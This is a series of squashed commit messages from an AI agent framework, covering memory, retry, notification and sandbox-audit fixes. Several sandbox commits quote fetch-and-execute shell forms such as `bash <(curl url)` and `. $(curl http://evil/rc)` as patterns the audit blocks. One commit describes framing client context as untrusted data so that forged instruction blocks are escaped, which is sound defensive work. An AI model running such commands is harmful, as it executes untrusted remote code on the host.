* fix(runtime): present outputs before a loop wrap-up and explain step-limit stops
Loop-detection warnings now ask the agent to present the files it already
created in /mnt/user-data/outputs before its final answer, when
present_files is available.
A run that exhausts recursion_limit now ends with stop_reason
recursion_capped and a plain message that lists outputs it created but
did not present. An active goal stands down without an evaluator call.
The /wait error envelope keeps the GraphRecursionError name, and IM
channels reply with the step-limit message instead of a generic failure.
* docs(changelog): note run-end delivery and step-limit stops (#7588)
* test(runtime): stop pinning LangGraph's step count in the step-limit test
The produced paths and the message already follow the observed model
calls, so the exact count only pinned LangGraph's per-step accounting.
Also note on the step-limit goal branch that its caller passes no
evaluator factory, so it has to stay ahead of the evaluator section.
---------
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): flush pre-compaction memory off the event loop
The async compaction path fired the before-summarization hooks inline.
memory_flush_hook hands the summarized messages to add_nowait, which is
sync HTTP for mem0 and Honcho (inherited default -> add) and OpenViking
(its own override), so every automatic compaction with an HTTP memory
backend blocked the Gateway event loop for the whole request.
acompact_state now runs the hooks through asyncio.to_thread, as
MemoryMiddleware.aafter_agent already does for its writes. Ordering,
failure isolation, summary-first timing and context propagation are
unchanged; the sync compact_state path is untouched.
* docs(changelog): reference #7530 for the pre-compaction memory flush fix
* test(memory): anchor the OpenViking pre-compaction flush off the event loop
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(runtime): honor the web UI language in replies and DeerMem updates
Carry Settings > Appearance > Language as request-only run data: the
Gateway validates context.locale against a finite allowlist, the lead
agent prefers it for replies, and bundled DeerMem writes new facts and
summary prose in it. Explicit user language requests still take
precedence; checkpoint configurable, static prompts, and memory backend
APIs are unchanged.
Refs #7287
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(runtime): guard language context and pin locale maps
* test(runtime): pin UI locales across frontend and Gateway
Add the shared locale fixture and document the intentional language fallback for internal runs. Clarify live-locale precedence in the run context contract.
---------
Co-authored-by: Claude <noreply@anthropic.com>
* fix(sandbox): reject write_file payloads that are the elision placeholder
The tool-output budget middleware replaces a superseded write_file payload
with a deterministic placeholder in the model-bound request only. That
placeholder is text the model sees in its own history, so it can imitate it
and submit it back as real write_file content: #7319 reports a delivered
file that was 194 bytes of placeholder.
write_file now rejects a payload that is the placeholder (whole payload,
allowing only surrounding whitespace) with an actionable error telling the
model to read_file the target path and write the real content; nothing is
written. The match is whole-payload on purpose: a substring guard would
block legitimate edits to this repository, whose constants.py and
persistence docs quote the template verbatim.
The placeholder wording moves to one shared constant,
WRITE_ELISION_PLACEHOLDER_TEMPLATE in deerflow.constants, which the
middleware renders from and the guard matches on, so the two cannot drift.
Regression tests fail on base (7 failed, 6 passed) and pass with the fix;
near-miss payloads that merely quote the placeholder still write.
Refs #7319
* fix(sandbox): match complete write elision placeholders
* docs: clarify write placeholder validation scope
* chore: re-trigger CLA status check
* fix(sandbox): preflight async writes and trim guidance
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): drop unusable numbers in stale extensions and consolidation confidence
* fix(memory): log defaulted consolidation confidence and pin the int passthrough
* fix(memory): rank capacity eviction per record, not per fact_id
select_facts_for_capacity keyed every score by fact_id, so an imported
batch that repeats an id collapsed into a single dict entry: the last
record's score won, and both the ranking pass and the evicted audit
read that one value for every position. A 0.9-confidence record could
therefore be evicted while its own 0.1-confidence duplicate survived.
The import path keeps caller-supplied ids without checking them for
uniqueness, and any over-cap import lands here.
Score by position instead: a parallel list next to the indexed facts,
so ranking and the audit read each record's own score. The public
``scores`` dict stays keyed by fact_id with last-write-wins
semantics, keeping the DeerMem benchmark contract and the callers
that never read it unchanged.
Red on main: test_confidence_policy_scores_duplicate_fact_ids_per_record
fails with the highest-confidence record evicted; green on this branch.
* fix(utils): keep share-less UNC roots out of the extended-length prefix
extended_length_path prefixed every absolute UNC path with
\\?\UNC\, but Win32 only accepts \\?\UNC\server\share\... — a
share-less root (\\server, \\server\, or a bare \) is not a valid
device path, so every Win32 call handed the prefixed spelling fails.
Only prefix when both the server and the share are present;
otherwise return the ordinary spelling unchanged.
Red on main: the \\server, \\server\, //, and //server cases of
test_windows_extended_spelling assert the forged prefix; green on
this branch.
* fix(subagents): report model_length_capped when a subagent hits the output limit
ModelLengthFinishReasonMiddleware only ran on the lead chain. A subagent
whose response was cut at the provider output limit (finish_reason=length,
stop_reason=max_tokens, MAX_TOKENS, Responses max_output_tokens) reached
the lead as a clean `completed`, and a tool call truncated at that
boundary still executed with partial arguments.
Register the same middleware on the subagent chain, in the lead's
relative position (after configured extensions, before Safety). It now
also records each detected cap per context run_id and exposes
`consume_stop_reason`, so the executor's existing duck-typed guard
collection reports `stop_reason=model_length_capped`. Add the value to
the subagent status contract (Python enum, contract fixture, frontend
whitelist) with the label "model output length limit", and update the
subagent docs.
Tests cover the middleware channel, chain placement, the contract, and
an end-to-end executor run with a fake model.
Co-Authored-By: Claude Code <noreply@anthropic.com>
* test(tasks): cover cap reasons on completed and failed runs
Extend the existing shared-contract round-trip matrix to preserve both terminal statuses alongside every supported stop reason, including model_length_capped and loop_capped.
---------
Co-authored-by: huangzz <110116@nd.com>
Co-authored-by: Claude Code <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): treat a fetched process substitution as a program operand
`bash <(curl url)` hands the fetched file to bash as an *operand*, not as a
redirect: bash runs it. The audit only recognised the stdin spelling
(`bash < <(curl url)`), so the operand spelling executable-fetched content
through the sandbox audit unimpeded — the miss documented in the middlewares
AGENTS.md known-gaps list.
An interpreter in command position whose first operand is a risky process
substitution now blocks. The two exceptions mirror the stdin rule: a script
operand in front (`bash script.sh <(curl url)`) keeps the substitution an
ordinary argument, and a shell noexec flag (`bash -n <(curl url)`) only
parses it.
Verified in Git Bash:
bash <(echo "echo FETCHED_AS_PROGRAM") -> FETCHED_AS_PROGRAM
bash <(echo "echo FETCHED_WITH_ARG") consumer.sh -> FETCHED_WITH_ARG
bash -n <(echo "echo NOEXEC") -> exit 0, no output
* docs(sandbox): clarify substitution audit limitations
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(models): honor HTTP-date Retry-After hints in Claude retries
* refactor(models): share bounded HTTP-date retry parsing
* test(agents): move retry date regression to middleware suite
* feat(knowledge): add independent Wiki and entity relation retrieval tools
* fix(knowledge): address review diagnostics and CI catalog coverage
* fix(knowledge): deduplicate graph evidence and update catalog e2e
* fix(knowledge): clarify bounded evidence and pin browser CI runners
* Update e2e-tests to run on ubuntu-latest
* Update workflow to use ubuntu-latest
* test(ci): stop pinning maintainer-controlled browser runner images
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): treat the `.` builtin as a `source` execution context
The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so
. $(curl http://evil/rc)
. <(curl http://evil/rc)
. `curl http://evil/rc`
passed as value position while `source $(curl ...)` blocked.
The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.
* fix(sandbox): keep the dot builtin in command position only
Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.
Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.
Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.
* fix(sandbox): block stdin-redirect process substitution into a shell
Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.
Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.
* fix(sandbox): restore eval/source dot contexts and widen stdin flags
Review follow-up to 526fdaf:
- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
position-blind rule, then became pass when the dot rule moved to command
position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
(`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
instead of being guessed at.
* fix(sandbox): decide stdin-program execution from the token list
Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:
- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
and errors out instead of reading a program from stdin.
The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* test: stabilize reporter evidence and guard missing chat nodes
* feat(models): scope Web model choices to tasks, turns and conversations
* test(e2e): mock model-control preview for ordinary chat submissions
* fix(models): harden scoped choices and stale Agent submissions
---------
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
* fix(memory): persist the DeerMem extraction watermark across restarts and replicas
The updater's per-thread extraction watermark lived only in an in-process
LRU, so a restart or a second Gateway replica on the same storage root fed
already-extracted turns to the memory LLM again.
FileMemoryStorage now keeps it in users/{user}/agents/{agent}/.metadata/
watermarks.json, keyed by thread id, written atomically under the per-user
lock without touching memory.json and capped by watermark_max_keys. Each
update feeds after the furthest of the LRU entry and the persisted one, and
writes through after an extraction or a pre-screen skip; bypass_watermark is
unchanged and sidecar IO failures fall back to the LRU. Memory clears remove
the file with the other .metadata sidecars. Content-based message identities
are stored as SHA-256 digests so the sidecar holds no conversation text.
* docs(changelog): link the memory watermark entry to #7204 and #7205
* fix(memory): never replace an unreadable watermark sidecar
set_extraction_watermark rewrites the whole watermarks.json, and the shared
sidecar reader turns an OSError into an empty mapping, so a failed read could
replace every other thread's watermark with the current one (or delete the
file). The watermark sidecar now has its own reader: a missing file reads as
empty, malformed content reads as empty (nothing to keep; the next write
repairs it), and any other OSError propagates before anything is written. The
updater already logs that and keeps the extraction successful.
* fix(memory): keep the persisted watermark when the last message has no identity
_message_identity returns None for a last message with neither an id nor
text. The updater wrote that None through, which deleted the thread's entry
from watermarks.json, losing a watermark a peer may have advanced and forcing
a full feed on every replica. The write-through now skips None: the persisted
entry still marks an extracted prefix and the furthest-of-both read keeps
using it.
* refactor(skills): keep allowed-tools as compatibility metadata
* docs(skills): align current guides with agent tool authority
* test(skills): simplify authority regressions and sync Korean docs
* feat(decisions): add an OpenAI Decisions backend for the decision slots
Issue #7005 asked for a second decision provider behind the interfaces the
TypeSafe (Jev) integration already uses, not a new decision system.
`deerflow/openai_decisions` speaks `POST /v1/decisions`: a `noul` question
becomes a `predicate` whose true/false rubric folds into `instructions` (the
endpoint has no criteria field, and dropping it would move the decision
boundary while the adapter kept reporting the same criteria in its policy
identity), answers arrive as an array rather than a mapping, and a refusal is an
answer `type` rather than an HTTP failure -- so it lands in the existing
per-question error channel and each consumer keeps its own failure direction.
Transport is reused rather than copied. `provider_label` and the connection's
`endpoint_path` are the only two seams a dialect needs, so retry and backoff,
the deadline budget, the bounded never-decoded body read and the error taxonomy
keep one owner; `resolve_decisions_connection` pairs the two so a Decisions
connection cannot be built pointing at System One. The three adapters override
their connection resolution, their client, and the value the endpoint judges
(`input` text instead of a `state` object), and inherit thresholds, rubrics,
caches and audit policy unchanged. Wiring stays a `use:` class path, so no
config schema is added.
* fix(decisions): isolate endpoint identities and correct diagnostics
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): quarantine unreadable memory.json in the read-error branch too
MarkdownMemoryStorage._load_memory_file quarantined summaries that failed
to decode as JSON/Markdown, but the earlier except (OSError, UnicodeError)
branch (unreadable bytes, e.g. a UTF-16 BOM) still returned None without
quarantining. The leftover file was then silently overwritten by the next
save, destroying the user's memories with no backup.
Call the existing best-effort self._quarantine_unreadable(path) there as
well, matching the documented quarantine contract, and add a regression
test asserting the original bytes survive a subsequent load+save.
Fixes#7072
* fix(memory): preserve summaries on transient read failures
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): parse a BOM-prefixed DeerMem fact instead of calling it corruption
Facts are hand-editable Markdown files, so a Windows editor can save one as
"UTF-8 with BOM" -- the same exposure #7083 fixed for memory.json. The fact
parser checks `text.startswith("---\n")` against a plain-utf-8 read, so the
BOM makes a valid fact read as "missing YAML front matter" and raises
MemoryStorageCorruption, which the module docs describe as taking down the
whole agent.
Read the fact with utf-8-sig, matching the summary loader and the SOUL.md /
SKILL.md convention already recorded in AGENTS.md. `_parse_listed_fact`
delegates here, so the directory-scan path is covered by the same change.
Measured: the new BOM test fails on the base revision with exactly that
"missing YAML front matter" corruption and passes at head; the no-BOM control
passes both. 49 tests in test_memory_storage.py, 106 across the memory
suites, ruff check/format clean. Mutation-checked: reverting to plain utf-8
fails only the BOM case.
* test(memory): cover BOM facts through the public storage API
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat: support client context capabilities
(cherry picked from commit b7c223f9415dcd545cbe05a5f5a6e47073a42d68)
[Totoro-qaq: resolved onto main. The persisted-reminder middleware hunks and their tests are dropped (delivery is redesigned in a follow-up); the RunCreateRequest description moved to app/gateway/run_models.py.]
* fix: address client context review comments
(cherry picked from commit bce6da6b819228eda58e887872720b6f9b5fab69)
[Totoro-qaq: middleware hunks dropped with the redesigned delivery.]
* feat(agents): deliver client context as a request-scoped data block
The cherry-picked #3106 put context.client into the persisted first-turn
reminder, with change detection and a "not provided" clear marker. Main
has since moved the date reminder to a SystemMessage, made request-scoped
context (the project block, #5443) request-only, and agents/AGENTS.md now
requires user-influenced values to ride the HumanMessage data channel,
never system text.
Render runtime.context["client"] on every model call in
DynamicContextMiddleware.wrap_model_call/awrap_model_call as one hidden
HumanMessage right after the leading SystemMessages, where DurableContext
puts its data. It is never a state update and never flagged
dynamic_context_reminder, so nothing is checkpointed, summarized or
replayed, and a run without a client gets no block. An unchanged client
keeps the previous request as the next request's prefix.
The renderer sanitizes again (direct graph callers bypass the Gateway),
html-escapes values and frames them with frame_untrusted_text: the same
--- BEGIN/END USER INPUT --- boundary the user's own turn and the MCP task
notification get. The lead prompt treats everything outside those markers
as framework data, so unframed values would rank above the user's own
text; framed, context.client can say nothing the same caller could not
already say in input.messages. client_context joins _BLOCKED_TAG_NAMES so
a forged block in user input or a tool result is escaped, and one static,
value-free sentence in the lead prompt names the block as untrusted hints,
never instructions, permissions or identity. The now unused empty-context
marker is removed.
* fix(gateway): log dropped context.client fields without values
A run request is never rejected over context.client: unknown fields,
nested values and malformed entries are silently dropped, the same
leniency as the other context keys. That left no signal when a custom
client sent something the Gateway ignored (review on #3106).
Route both the config.context.client and the body context.client paths
through one helper that emits a debug line whenever sanitizing changed
the value. Like the malformed client_timezone branch, the line carries no
values; unlike client_timezone, client.name and preference strings are
free caller-controlled text, so they are never logged, not even
sanitized. A clean client, an explicit null or an absent key logs
nothing.
Tests also pin the config-only path (sanitized before the early return)
and the end-to-end start_run admission: the sanitized client reaches
config["context"] and never configurable.
* fix(runtime): bound numeric client context preferences
String preferences are capped at 200 characters, but integers were kept
at any size. A JSON body may carry integers of up to 4300 digits, so 32 of
them rendered a block of about 138,000 characters, re-sent on every model
call of the run. In-process callers could also pass an int past the str()
digit limit, which failed the model call, or a number subclass with its
own __str__.
Keep integers within JavaScript's Number.MAX_SAFE_INTEGER, the range a
browser client can send exactly, and coerce numbers to plain int and
float.
* docs(api): describe client context as advisory request-scoped hints
The cherry-picked section described a hidden reminder that no longer
exists. Document what a custom client can rely on: the allow-list and its
limits (strings, the integer range, and only the first 32 entries of each
map), debug-level logging of dropped fields, runtime-only forwarding, and
delivery as a per-request user-role block, framed like user input, rather
than system text or thread history.
Only top-level context.client is documented. An explicit
config.context.client is sanitized for the run as well, but the run record
keeps the caller's config as sent, so it is not offered as an alternative.
It also answers the #3106 review: capabilities and preferences are
advisory hints, not enforcement, which belongs outside the model; name is
informational and never for authorization; the same object should be
sent on every run to keep the cached prefix stable; subagents and
embedded DeerFlowClient runs do not receive it, and server-started runs
(schedules, IM channels, GitHub agents, MCP notifications, extensions
unless the plugin passes one) carry none.
* fix(context): declare client delivery and keep client out of configurable
The request-only <client_context> block is model-visible, so
DynamicContextMiddleware now declares its delivery and the sanitizer's
limits in release_policy_parameters(); runs before and after this change
no longer share a policy fingerprint.
build_run_config copies body.config['configurable'] verbatim and
configurable is persisted with checkpoints, so a client placed there is
dropped instead of being stored raw. Client context stays runtime-only.
Document context.client in the README and in the middleware guide.
* fix(context): apply the PII redaction policy to the client block
DynamicContextMiddleware adds the <client_context> message inside the
outer PiiRedactionMiddleware, and the hidden message is not re-sanitized,
so with pii_redaction enabled a preference such as an email address
reached the model verbatim while the same address in the user turn was
redacted. Pass the rendered block through the shared redact_text seam
with this middleware's app_config.pii_redaction, and declare the setting
in release_policy_parameters().
* fix(context): keep client hints out of stored run config
---------
Co-authored-by: Blair Leng <25675774+BlairLeng@users.noreply.github.com>
Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
* fix(skills): strip a leading BOM from the SKILL.md content handed to the model
* fix(agents): hash the same BOM-free skill content the middleware injects
* docs(skills): state the BOM mechanism as it is, and sync the encoding convention
* test(skills): name the real BOM mechanism in the activation test docstring
* fix(ci): satisfy lint checks for skill BOM handling
---------
Co-authored-by: Jay0130-a <Jay0130-a@users.noreply.github.com>
Co-authored-by: Jay0130-a <309071492+Jay0130-a@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): filter honcho search by category instead of stamping it on unfiltered results
HonchoMemoryManager.search sent an identical unfiltered query whether or
not a category was requested, then stamped the requested category on
every hit, so memory_search(category=...) returned unfiltered results
attested to be that category (e.g. a work fact labeled "preference")
— the opposite of the contract, where category filters before the
top_k slice and only facts with that exact category are returned.
Send the category as a real server-side metadata filter (Honcho applies
"metadata" filters in its ranked query, before the limit) and label
each result from the record's own metadata, falling back to "memory"
as before. HonchoClient.search gains a keyword-only filters argument
that is only put on the wire when set, so unscoped requests are
byte-identical to before.
* docs(memory): note honcho category filtering requires stored metadata
* fix(memory): drop out-of-range extraction confidence instead of failing the batch
A model-emitted confidence outside [0, 1] (a percentage such as 95, or 1.5)
passed extraction normalization, which only rejected non-finite values. The
value then reached storage, whose own validation raises for out-of-range
confidence, so one malformed field failed the whole update: the extraction
watermark never advanced and the same paid call repeated on every turn, while
every valid fact, summary and removal in the batch was lost each cycle.
Treat the range like the other malformed shapes in
_normalize_memory_update_fact: drop only that item and let the rest of the
update apply. Read paths already clamp stored corrupt values
(_coerce_source_confidence), so no read-side change is needed.
* fix(memory): bound the confidence drop and make it observable (review)
Review follow-ups on the out-of-range confidence fix:
- range-check integer confidence before float(), so a model emitting 10**400
is dropped instead of raising OverflowError and failing the batch;
- log the raw value when a fact is dropped, so a systematically
percentage-scale model is visible instead of silently losing every fact;
- document that a batch which also proposes factsToRemove still fails closed
when any new fact is dropped (replacementFactIndex positions shift), and
pin that boundary with a test. Values are documented as dropped, never
rescaled.
* feat(channels): generalize IM group targets and add task/goal run notifications
- Generalize proactive group notification capability (proactive_group_notifications), binding validation, and scheduled task group selection across Feishu, QQ, and WeCom while keeping WeChat personal-only.
- Add QQ group active notification delivery via POST /v2/groups/{group_openid}/messages (msg_type=2) and WeCom group active notification delivery via WS Client.sendMessage(chatid, body) with bot_id:group:chatid workspace isolation.
- Generalize notification outbox sources via migration 0043_runtime_im_notices (source_kind, source_key, run_id, nullable task_id/task_run_id) with backward-compatible SQLite/PostgreSQL upgrades.
- Add opt-in ordinary task & goal run IM notifications (run_completed, run_failed, human_input_requested) on the shared outbox, delivery worker, renderer, and settings UI.
* fix(notifications): address review feedback and group/runtime notification edge cases
* test(migrations): update CURRENT_HEAD to 0043_runtime_im_notices across migration chain tests
* fix(channels): preserve group binding names and legacy authorization
Carry owner-chosen group names through existing connect state, keep private bindings out of legacy group fallback, and restore completion metadata retries. Cover real binding and worker finalization paths and synchronize notification docs.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(llm-error): retry provider errors reported inside a 200 stream
An OpenAI-compatible gateway that answers 200 early, to keep a slow
request alive with SSE keepalives, reports a later provider failure (a
504, say) as an SSE error event. The openai SDK raises that as the base
APIError, with no status code and no response, so _classify_error found
no status, no transient class name and no busy text, and called it
generic: the run failed on its first attempt.
An error with no status now takes an effective status from its own
contents, and the first source that yields one decides: a numeric code
on the error, or a numeric code, status or status_code in its body or
the body's error object; an explicit status in its message ([504],
HTTP 502, status 503); or type server_error (500). Its busy check also
reads each run of _, - and whitespace as one space, so rate-limit and
RATE_LIMIT_EXECUTION_TIMEOUT match "rate limit". Retry budget, backoff
and circuit breaker then treat it as the equivalent HTTP error. Errors
that carry a status are classified exactly as before, and the quota,
auth and burst-rate checks still run first.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(llm-error): note how status-less errors are classified
Add one sentence to item 9 of the middlewares guide, and an llm entry
under Fixed in both changelogs, for the retry of provider errors
reported inside a 200 stream.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(llm-error): pin the in-band status source order and leftmost match
Two rules of _extract_in_band_status had no test: a numeric status
field decides before the message is read, and within the message the
leftmost in-range status wins. Either rule could be inverted with every
test still green. Add one stays-generic case for each: code 400 with
"[503]" in the message, and "HTTP 400 after [503]".
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(llm-error): do not read an array index as an in-band status
The bracketed alternative of the in-band status regex had no lookbehind,
so `messages[502]` or `tools[0][503]` matched and their number decided
the error's status. The bracketed form now starts with the lookbehind
`(?<![\w\]])`: a `[` directly after a word character or a `]` opens an
index, not a status. The `http` and `status` alternatives are unchanged;
`[504]: ...` in running text still counts.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(llm-error): let an in-band status preempt the separator busy check
The separator-normalised busy check ran for every status-less error,
even when the in-band lookup had already found a status: "rate-limit
header malformed" with `code: 400` was retried as busy, while HTTP 400
is not. It now runs only when no source yields a status, so an in-band
4xx decides like an HTTP one. The same text with no status anywhere
still counts as busy.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(llm-error): let only 4xx and 5xx values decide the in-band status
The in-band lookup accepted 100-599 values from its first two sources,
so a 1xx-3xx status could decide the classification: `HTTP 200` in a
message whose server_error type means 500, or `code: 200` alongside
`status: 503`. Only 400-599 now count: `_as_http_status` skips a
smaller value as it skips a non-numeric one, so the candidate loop
moves on, and an out-of-range message match is skipped so the scan
continues. An error that carries a status stays as it was, and the
server_error source is unchanged.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(llm-error): describe the narrowed in-band status rules
The guide, the CHANGELOG and the CHANGELOG_zh now describe the three
narrowed rules: only a 4xx or 5xx value decides, an index such as
`messages[502]` is not a status, and the separator-matched busy check
runs only when no source yields a status. Only the sentences that
describe the affected forms changed.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(llm-error): pin the remaining in-band status guards
Cover the nested error.status_code field, a code above 599 that yields
to a later status field, a code written in non-ASCII digits, and an
in-band 4xx whose plain busy text still decides, as it does for an HTTP
4xx. These pin current behaviour; no code changes.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(llm-error): say which in-band fields are read on the error itself
Only `code` is read on the exception; `status` and `status_code` are
read in its body and in the body's `error` object.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(changelog): link the in-stream retry entry to #6897
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(llm-error): require a separator and ASCII digits in an in-band status
The message regex read `status503` and `statuscode503` as a status
because the separator after `status` was optional, and it read
Arabic-Indic or fullwidth digits because `\d` and `int()` accept every
Unicode decimal digit. A status-less error with such text was retried
as a 503.
The `status` form now needs spaces or tabs, or a `:` or `=`, before
the number, and all three forms read only ASCII digits.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(llm-error): pin the retry of an in-stream error after partial output
An `error` event that follows content chunks is retried like one that
comes first: the whole call re-runs and its result holds only the new
answer, while the tokens the first attempt already streamed to the
callbacks stay delivered, as with a mid-stream `ReadError`. The new
test pins that outcome, and a comment in `_classify_error` notes it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* Handle transient errors based on status codes
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
On Windows, two threads/processes racing to create a not-yet-existing
lock file with an append open can transiently fail on open() itself with
PermissionError (EACCES), before the byte-range lock is ever attempted.
The open was outside the retry loop, so the error surfaced from
load()/save() instead of being retried. Move the open inside the loop and
close the handle on any OSError before retrying.
* fix(agents): bound viewed image context per model request
Keep recent image payloads within a count and byte budget, and move re-viewed paths to the newest position. Add focused regressions for budget enforcement and state ordering.
* test(agents): verify cumulative image budgets and re-view recovery
* fix(agents): clarify image omission and read-attempt limits
* docs(middleware): shorten image context guidance for CI budget
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(view-image): bound re-injected image context with per-request budgets
`viewed_images` only grows (#6825): every model call that follows a
`view_image` round re-encodes and re-sends every entry ever viewed, so a
long PDF-inspection thread pushes the request body past provider limits
(e.g. Anthropic's 32 MB) even though each single image is capped.
Admission now runs newest-first against two knobs on ViewImageMiddleware:
- `max_injected_images` (default 10)
- `max_injected_total_chars` (default 32M characters, so a single
max-size image stays injectable: 20 MiB source -> ~27 MB base64)
Over-budget entries keep their text bullet with a placeholder ("call
view_image again to re-view this image") and are never read from disk or
sandbox, bounding both the request size and the middleware's per-call
work. Existing threads with small image counts and sizes are unaffected.
Refs #6825
* fix(view-image): make re-viewing an omitted image actually rescue it
The placeholder told the model to "call view_image again to re-view"
an over-budget image, but the recovery advice could not work:
merge_viewed_images merged with `{**existing, **new}`, and updating an
existing key in Python preserves its original insertion position. The
admission pass walks `reversed(viewed_images.items())` purely by
position, so the re-viewed entry stayed at its old (oldest) slot, was
admitted last, and was omitted again — a wasted tool round.
merge_viewed_images now re-inserts updated keys at the end, so dict
order tracks recency and a re-viewed image is admitted first on the
next injection. Also fix the `_create_image_details_message` docstring,
which said entries are "admitted oldest-first" while admission runs
newest-first (content blocks are emitted oldest-first; the admission
decision is not).
Wiring the budget knobs into config.yaml stays a follow-up: both
production instantiation sites construct ViewImageMiddleware() with no
arguments today, and this PR keeps the surface minimal.
Tests: reducer unit tests for re-insertion order plus an end-to-end
regression that re-views an omitted image and asserts it is admitted
on the next injection (#6829 review).
The LLM error-handling middleware's circuit breaker stored its recovery
deadline as time.time() + recovery_timeout_sec and fast-failed while
time.time() < _circuit_open_until. That is a duration deadline measured on
the wall clock, so a backward wall-clock step (NTP correction, VM resume,
manual change) while the circuit is open holds the fast-fail window open far
past recovery_timeout_sec -- shedding every LLM call until the clock catches
up -- while a forward jump ends it early.
Measure the recovery window with time.monotonic() instead, matching the rest
of the harness (task_tool deadlines, batch lease renewal, guardrail TTLs,
secret-file settle windows, journal latency). The clock is held on the
instance so tests can inject a deterministic one. The adjacent Retry-After
math stays on time.time(): it computes target.timestamp() - time.time() for
an absolute HTTP-date, which is genuinely wall-clock.
Add two regression tests (an injected-clock recovery test and a backward
wall-clock-step test) that go red without the fix, and update the two
existing recovery tests to drive the breaker through the same injectable
clock seam instead of patching time.time.
Signed-off-by: CorgiBoyG <111257566+CorgiBoyG@users.noreply.github.com>
* fix(loop-detection): let a warned agent save collected results before its final answer
The warn-level loop messages told the agent to "Stop calling tools and
produce your final answer now." Subagents read this literally: one whose
task names an output file stops all tool calls, including the single
write that delivers its result, and finishes as "completed" with nothing
on disk.
Only the two warn-level texts change. They now ask the agent to stop
repeating the looping call and wrap up, first saving what it has
collected through a file-writing tool if its task asks for a file. The
per-tool warning names the looping tool. Thresholds and the hard-stop
path (which strips tool calls) are unchanged.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(loop-detection): bound final-save recovery after warnings
* docs(middleware): keep inherited guidance within CI budget
---------
Co-authored-by: huangzz <110116@nd.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(llm-error): retry streamed 200-OK responses that carry no generation chunk
The non-streaming empty-generations glitch (IndexError) is already
classified as transient and retried. The streaming path reports the same
upstream glitch as ValueError("No generations found in stream.") from
langchain_core's generate_from_stream; it fell through to "generic" and
failed after one attempt regardless of llm_call.retry_max_attempts.
Classify that ValueError as transient so it uses the configured retry
budget. Unrelated ValueErrors stay generic.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* style(llm-error): keep comments adjacent to their constants
---------
Co-authored-by: huangzz <110116@nd.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
